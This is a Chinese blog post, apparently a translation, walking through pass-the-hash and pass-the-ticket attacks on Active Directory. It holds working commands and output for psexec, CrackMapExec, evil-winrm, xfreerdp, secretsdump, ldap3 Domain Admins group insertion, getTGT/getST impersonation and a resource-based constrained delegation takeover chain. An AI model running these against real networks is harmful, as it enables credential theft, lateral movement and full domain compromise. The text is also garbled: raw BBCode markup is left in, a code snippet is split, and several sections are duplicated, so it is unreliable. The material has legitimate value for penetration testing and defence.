衡阳信安 2023-11-12 00:00 发表于湖南
传递哈希的另类用法(pth)您还记得第一次passed the hash吗? 它可能有点像这样: - msf > use exploit/windows/smb/psexec
- msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
- SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
- msf exploit(psexec) > exploit
- [*] Sending stage (719360 bytes)
- [*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
复制代码
如果您不熟悉 Metasploit PSexec 模块 好吧,现在我们不再真的这样做。你可能会像这样做 - cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
- SMB 10.0.0.20 445 PC01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)
- SMB 10.0.0.20 445 PC01 [+] domain.local\user BD1C6503987F8FF006296118F359FA79 (Pwn3d!)
复制代码
那就是使用CrackMapExec来传递哈希值。正如你可能已经知道,CrackMapExec的核心主要是impacket,默认的执行方法是使用wmiexec.py,可以使用如下的语法来通过impacket来单独使用它。 - wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
- [*] SMBv3.0 dialect used
- [!] Launching semi-interactive shell - Careful what you execute
- [!] Press help for extra shell commands
- C:\>
复制代码
您会发现,基本上impacket的示例方法都允许您去传递哈希。 接下来我要谈的是一些对你来说比较新颖的传递哈希的方法。 WinRM内容: 简要地说Windows远程管理(WinRM)是另一种远程管理WMI和其他类似协议的方法。并且使用一组不同的端口。WinRM使用5985端口(HTTP)或者5986(HTTPS)。 用途: 有时候你会发SMB没有打开, 或者某些终端保护阻止您使用标准的工具集。 作法: 可以使用包括CrackMapExec在内的各种工具来完成此操作,但现在我比较喜欢evil-winrm,因为它保护许多其他的特点。用evil-winrm 来传递hash非常容易,它看起来像这样: - ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79
- Evil-WinRM shell v2.3
- Info: Establishing connection to remote endpoint
- *Evil-WinRM* PS C:\Users\user\Documents>
复制代码
资源: RDP内容: 远程桌面是一项程序或操作系统功能,它使客户能够连接到其他位置的计算机,查看该计算机的桌面并与它进行交互,就好像在本地计算机操作一样。 用途:通常,在渗透测试期间,你可能希望访问用户系统上安装的只能通过图形化界面使用的软件。这可能是通过GUI轻松导出的密码管理器或者是其他软件,这些软件可以执行原本不可能/难以使用操作。您可能想要传递无法无法破解的NT hash和接管他们的会话。 作法:你可以使用xfreerdp来传递哈希。但是,有一个重要的警告,那就是只有在系统启用了"受限管理模式"时才有可能。如果未启用该功能,而您尝试pth,则会收到一个错误信息,指出"帐户限制阻止该用户登录.默认情况下,"受限管理模式"为禁用状态。好消息是如果您具有对该系统的管理员访问权限以及对SMB/WinRM/等,则可以远程启用这个功能。 - cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
- SMB 10.0.0.200 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
- SMB 10.0.0.200 445 DESKTOP [+] DESKTOP\Administrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
- SMB 10.0.0.200 445 DESKTOP [+] Executed command
- SMB 10.0.0.200 445 DESKTOP The operation completed successfully.
复制代码
一旦设置了注册表项,就可以使用xfreerdp传递哈希值 - xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
复制代码
资源: smbclient内容: smbclient 是类似于FTP的客户端,用于与SMB/CIFS资源交互。 用途:尽管恢复了有效的哈希值,但有时您可能仍无权对系统进行管理访问。考虑如下场景: 你控制了一台主机并且转储了哈希,其中之一属于财务负责人。他们没有对基础结构的管理访问权,但可以访问文件服务器上搜集的保密数据。 作法:smbclient 拥有-pw-nt-hash 标志,可用于传递NT Hash - smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
- Try "help" to get a list of possible commands.
- smb: \>
复制代码
LDAP内容: Active Directory(活动目录)是Windows通用目录服务的实现,该服务使用LDAP作为其主要访问协议。 用途:通常,我发现最好的活动目录攻击链通常涉及利用ACLS。考虑一个常见的渗透测试场景:您已经获得对IT管理员组的用户的NT hash的访问权限,该管理员可以通过exchange 服务器进行管理员访问。您没有通过域控制器的管理员访问权限。Exchange服务器是Exchange Trusted Subsystem组的成员,而该组是Exchange Trusted Subsystem的组成员,这个组对域具有WriteDACL访问权限。同样重要的是,获取计算机账户和密码,并且这些密码实际上不可破解的,这就是为什么传递哈希值非常有用的原因。 作法:首先,为Exchange服务器恢复NT hash - secretsdump.py ituser@10.0.0.40 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
- [*] Dumping LSA Secrets
- [*] $MACHINE.ACC
- DOMAIN\EXCHANGE$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
- DOMAIN\EXCHANGE$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
- DOMAIN\EXCHANGE$:des-cbc-md5:cd4308d6f285fc82
- DOMAIN\EXCHANGE$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码
拥有Exchange服务器的NT hash后,就可以用ldap3向域控制器进行身份验证,并通过传递哈希进行身份验证。从这里您可以执行很多操作,比如包括将控制的用户添加到Domain Admins组等简单攻击。在此示例中,您当然也可以使用Exchange账户通过secretsdump.py进行Dcsync。如果你只是获取到了Server Operators 组成员的NT hash,则将无法进行Dcsync,但可以使用此方法将用户添加到某些组以扩展访问权限。 - python3
- >>> import ldap3
- >>> user = 'DOMAIN\\EXCHANGE
- [align=left][color=rgb(51, 51, 51)][font="][size=15px][b]资源[/b]:[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font="][size=15px]https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/[/size][/font][/color][/align][b]Pass the Ticket[/b][align=left][color=rgb(51, 51, 51)][font="][size=15px][b]内容[/b]: 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法,而无需访问账户密码。[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font="][size=15px][b]用途[/b]:可能无法通过NTLM进行身份验证,并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font="][size=15px][b]作法[/b]:在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的[b]kinit[/b]。如果您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其进行设置。[/size][/font][/color][/align][list]
- [*][align=left]安装Kerberos软件包[/align]
- [*][align=left]配置AD领域[/align]
- [*][align=left]使DNS正常工作[/align]
- [*][align=left]同步time[/align]
- [/list][align=left][color=rgb(51, 51, 51)][font="][size=15px]要使用NT hash创建Kerberos的TGT,请运行如下命令:[/size][/font][/color][/align][code]python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
- Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
- [*] Saving ticket in user.ccache
复制代码
您将需要将票证复制到/tmp/krb5cc_0,因为许多工具都在该位置查找票证。你同意需要将KRB5CCNAME 环境变量设置为票据所在的位置,因为某些工具使用它来寻找票据的位置。 - cp user.ccache /tmp/krb5cc_0
- export KRB5CCNAME=/tmp/krb5cc_0
复制代码
你可以使用klist验证票据。 - klist
- Credentials cache: FILE:/tmp/krb5cc_0
- Principal: user@domain.local
- Issued Expires Principal
复制代码
现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情况下非常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点) 资源: https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf Mount内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。 用途:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验,你甚至可以使用SSHFS公开此挂载点,因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。 作法:挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。 - sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
复制代码
ssh内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。 用途:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常,唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进活动目录中。如果你有很多域组,请搜索他们以查看名称中是否包含unix/linux,这说明unix/linux系统可能已经加入域了。 作法:您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试,使用SSH链接并启用详细信息。 - ssh -o GSSAPIAuthentication=yes user@domain.local -vv
- debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
- debug1: Next authentication method: gssapi-with-mic
- debug1: Unspecified GSS failure. Minor code may provide more information
- No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)
复制代码
您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。 - cp user.ccache /tmp/krb5cc_1045
复制代码
一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。 - ssh -o GSSAPIAuthentication=yes user@domain.local
- [user@computer ~]$
复制代码
基于资源的约束委派(RBCD)内容:如果您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该对象获取的提升权限的命令执行力。 这不是将哈希传递到前面提到之外的新方法,但是此攻击链结合了多种PTH技术,比如通过SMB进行PTH,将PTH传递给LDAP,PTH获取Kerberos票据,并最终通过票证。 在此实例中,我们假设一个计算机对象具有对另一计算机对象的写权限。 用途:通常,我发现的环境中没有简单的攻击路径,并且活动目录的权限提升需要基于ACL的攻击。 作法: 首先,将具有管理访问权限的用户的Hash传递到第一台计算机,以恢复该计算机的NT Hash - secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
- [*] Dumping LSA Secrets
- [*] $MACHINE.ACC
- DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
- DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
- DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
- DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码
第二 使用rbcd_permissions 脚本通过LDAP将计算机账户的哈希传递到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。 - python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local' -l DC1.domain.local
- Successfully added permissions!
复制代码
使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。
- getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
- [*] Getting TGT for user
- [*] Impersonating DA
- [*] Requesting S4U2self
- [*] Requesting S4U2Proxy
- [*] Saving ticket in DA.ccache
复制代码
创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。 资源: 总结无论有/无传递hash以及Linux/Window的情况, 都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具(OST)开发人员以及对这些技术进行了详细描述的博客作者的出色工作,使得很多事情都是可能的。
>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True[/code]
资源: https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/ Pass the Ticket内容: 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法,而无需访问账户密码。 用途:可能无法通过NTLM进行身份验证,并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。 作法:在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的kinit。如果您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其进行设置。 安装Kerberos软件包 配置AD领域 使DNS正常工作 同步time
要使用NT hash创建Kerberos的TGT,请运行如下命令: - python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
- Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
- [*] Saving ticket in user.ccache
复制代码
您将需要将票证复制到/tmp/krb5cc_0,因为许多工具都在该位置查找票证。你同意需要将KRB5CCNAME 环境变量设置为票据所在的位置,因为某些工具使用它来寻找票据的位置。 - cp user.ccache /tmp/krb5cc_0
- export KRB5CCNAME=/tmp/krb5cc_0
复制代码
你可以使用klist验证票据。 - klist
- Credentials cache: FILE:/tmp/krb5cc_0
- Principal: user@domain.local
- Issued Expires Principal
复制代码
现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情况下非常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点) 资源: https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf Mount内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。 用途:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验,你甚至可以使用SSHFS公开此挂载点,因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。 作法:挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。 - sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
复制代码
ssh内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。 用途:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常,唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进活动目录中。如果你有很多域组,请搜索他们以查看名称中是否包含unix/linux,这说明unix/linux系统可能已经加入域了。 作法:您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试,使用SSH链接并启用详细信息。 - ssh -o GSSAPIAuthentication=yes user@domain.local -vv
- debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
- debug1: Next authentication method: gssapi-with-mic
- debug1: Unspecified GSS failure. Minor code may provide more information
- No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)
复制代码
您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。 - cp user.ccache /tmp/krb5cc_1045
复制代码
一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。 - ssh -o GSSAPIAuthentication=yes user@domain.local
- [user@computer ~]$
复制代码
基于资源的约束委派(RBCD)内容:如果您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该对象获取的提升权限的命令执行力。 这不是将哈希传递到前面提到之外的新方法,但是此攻击链结合了多种PTH技术,比如通过SMB进行PTH,将PTH传递给LDAP,PTH获取Kerberos票据,并最终通过票证。 在此实例中,我们假设一个计算机对象具有对另一计算机对象的写权限。 用途:通常,我发现的环境中没有简单的攻击路径,并且活动目录的权限提升需要基于ACL的攻击。 作法: 首先,将具有管理访问权限的用户的Hash传递到第一台计算机,以恢复该计算机的NT Hash - secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
- [*] Dumping LSA Secrets
- [*] $MACHINE.ACC
- DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
- DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
- DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
- DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码
第二 使用rbcd_permissions 脚本通过LDAP将计算机账户的哈希传递到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。 - python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local' -l DC1.domain.local
- Successfully added permissions!
复制代码
使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。
- getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
- [*] Getting TGT for user
- [*] Impersonating DA
- [*] Requesting S4U2self
- [*] Requesting S4U2Proxy
- [*] Saving ticket in DA.ccache
复制代码
创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。 资源: 总结无论有/无传递hash以及Linux/Window的情况, 都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具(OST)开发人员以及对这些技术进行了详细描述的博客作者的出色工作,使得很多事情都是可能的。
|